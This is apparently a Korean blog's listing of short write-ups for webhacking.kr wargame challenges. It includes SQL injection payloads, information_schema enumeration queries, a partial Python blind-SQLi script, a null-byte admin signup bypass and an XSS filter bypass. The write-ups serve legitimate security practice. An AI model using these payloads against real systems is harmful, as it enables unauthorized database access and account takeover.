본문 바로가기

워게임200

webhacking.kr old 9번(sql injection) 내 예상 쿼리문 select id from table_name where no=$_GET['no'] 그래서 대충 넣어보면 다 AccessDenied가 뜬다. 필터링되나봄 ?no=if(0,1,0) 와 같이 넣으면 다음과 같이 뜬다. ?no=if(1,1,0)을 넣으면 다음과 같다. blind sqli를 할 수 있겠다. import requests for i in range(1, 30): URL = f"https://webhacking.kr/challenge/web-09/?no=if(length(id)like({i}),3,0)" res = requests.get(URL) if 'Secret' in res.text: break print('id length:', i) import requests id="" fo.. 2021. 10. 20.
webhacking.kr old 6번 (sql injection) 소스코드 보면 ?val=~~~에서 2 - + from _ = \s * / 모두 필터링 3이상 입력하면 query error 근데 보니까 sqlinjection 3)union(select(char('50')) 입력하고 될 때까지 새로고침 2021. 10. 20.
webhacking.kr old 5번 login, join 버튼이 있다. login 클릭시 mem/login.php 그렇다면 mem/join.php로 접근해본다. access denied가 뜨고 코드가 나온다. 코드를 해석해보면 document.cookie에 oldzombie가 있어야 하고 document.url에 mode=1이 있어야 한다. 바로 쿠키 넣고 ?mode=1로 접속했더니 join창이 뜬다. qwerty/asdf로 가입하고 로그인했더니 admin으로 로그인하랜다. admin으로 가입했더니 이미 존재하는 아이디란다. burp로 잡아서 admin%00%00/asdf 로 로그인하고 가입하면 성공. (로그인도 burp로 해야한다.) url로 %00 넣어서 보내는건 알겠는데, POST body로 %00 넣어서 보내는 건 살짝 이해가 안간.. 2021. 10. 20.
webhacking.kr old 3번 (simple sqli) 뭐시여 노노그램? answer 2진수는 보니까 hidden 필드에 정해진 값이다 submit하는 부분에 ' or 1=1#로 sqli가 안먹힌다 이걸 hidden answer 필드에 적용해본다. 그냥 된다 이 문제는.. 잘 모르겠다... 문제가 너무 허술하달까 2021. 10. 19.
webhacking.kr old 2번(blind sql injection) 페이지 소스보기 /admin.php 쿠키에 0 입력시 1 2 blind sql injection 문제인지 파악하기 (기존 쿠키 그대로) and 1=1 (기존 쿠키 그대로) and 1=2 (기존 쿠키 그대로) and 3 => 참이면 초에 1, 거짓이면 초에 0가 출력되는 듯 테이블 개수 확인 (select count(table_name) from information_schema.tables where table_schema=database()) -> 현재 DB에서 테이블의 개수는 2개구나 테이블 이름 길이 확인 (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) -> 첫 번째 ta.. 2021. 10. 19.
webhacking.kr old 23번(XSS) xss 공부하다가 관련 워게임 좀 찾아보고 싶어서 풀어봤다.. 문자 2개 이상 입력하면 no hack이 뜬다. ', (, ), , 숫자, 문자 하나는 괜찮다. https://webhacking.kr/challenge/bonus-3/index.php?code=%3Ch1%3E 해결 a%00l%00e%00r%00t(1); 2021. 10. 19.